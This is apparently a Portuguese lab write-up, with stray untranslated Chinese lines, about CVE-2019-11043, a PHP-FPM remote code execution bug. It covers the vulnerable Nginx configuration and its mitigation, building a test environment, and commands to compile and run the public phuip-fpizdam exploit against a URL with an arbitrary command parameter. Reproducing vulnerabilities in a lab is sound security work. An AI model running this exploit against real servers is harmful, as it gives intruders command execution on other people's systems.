
CVE-2019-11043 PHP Execução Remota de Código
Em 26 de setembro, o PHP divulgou oficialmente o comunicado de vulnerabilidade, apontando que servidores que usam Nginx + php-fpm, sob determinadas configurações, apresentam vulnerabilidade de execução remota de código. Além disso, essa configuração é amplamente utilizada, o que representa um risco considerável.
O PoC da vulnerabilidade foi divulgado em 22 de outubro e a mídia de segurança nacional emitiu o alerta prontamente.
No Nginx, quando o fastcgi_split_path_info processa requisições contendo %0a, o PATH_INFO fica vazio ao encontrar o caractere de nova linha \n. Já o php-fpm possui uma falha lógica ao processar PATH_INFO vazio. Por meio de construção e exploração cuidadosas, o atacante pode causar execução remota de código.
Servidores Nginx + php-fpm, ao utilizarem a seguinte configuração, podem apresentar a vulnerabilidade de execução remota de código.
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
Sem afetar as operações normais, remova a seguinte configuração do arquivo de configuração do Nginx:
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
github: https://github.com/neex/phuip-fpizdam
Esse PoC explora uma otimização na variável FastCGI _fcgi_data_seg, otimização presente apenas no PHP 7. Portanto, o exploit público só é válido no php7; no ambiente PHP5, é necessário um exploit diferente para que funcione.
Configure o ambiente, monte o nginx + php-fpm e valide se o funcionamento está correto.
Baixe o php7, descompacte-o e entre no diretório
wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
tar -xzvf php-7.2.4.tar.gz
Instale os pacotes de dependência relacionados a compactação, ssl, etc.
yum install -y libxml2*
yum install -y openssl*
yum install -y libcurl*
yum install -y libjpeg*
yum install -y libpng*
yum install -y freetype*
yum install -y libmcrypt*
Compile o código-fonte com o configure
./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
make & make install
Configure o php-fpm. Se houver vários PHP configurados, você pode alterar a porta 9000 para 9001
修改php-fpm配置文件:
$ cd /usr/local/php/etc
$ cp php-fpm.conf.default php-fpm.conf
$ vi php-fpm.conf
去掉 pid = run/php-fpm.pid 前面的分号
$ cd php-fpm.d
$ cp www.conf.default www.conf (修改端口)
$ vi www.conf
修改user和group的用户为非root用户
./php-fpm
Adicione a seguinte configuração ao nginx.cof:
location ~ [^/]\.php(/|$) {
root /opt/apache/www;
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass 127.0.0.1:9001;
include fastcgi_params;
}
Reinicie o nginx
Instale o go e compile o código do PoC
go get github.com/neex/phuip-fpizdam(文件下载在go的src目录下)
go build github.com/neex/phuip-fpizdam(全路径,会在当前目录生成运行文件)
Execute o PoC
./phuip-fpizdam http://website.com/index.php
./phuip-fpizdam http://website.com/index.php?a=command
[Infelizmente, não sei qual é o problema na configuração do ambiente; a validação falhou]
2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong
Link original: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
Baixe os arquivos do projeto docker
docker-compose up -d executa o container docker

Execute o programa. Se a execução for bem-sucedida, use a vulnerabilidade para obter o retorno da execução do comando "id"


Encerre o serviço docker
docker ps
docker stop id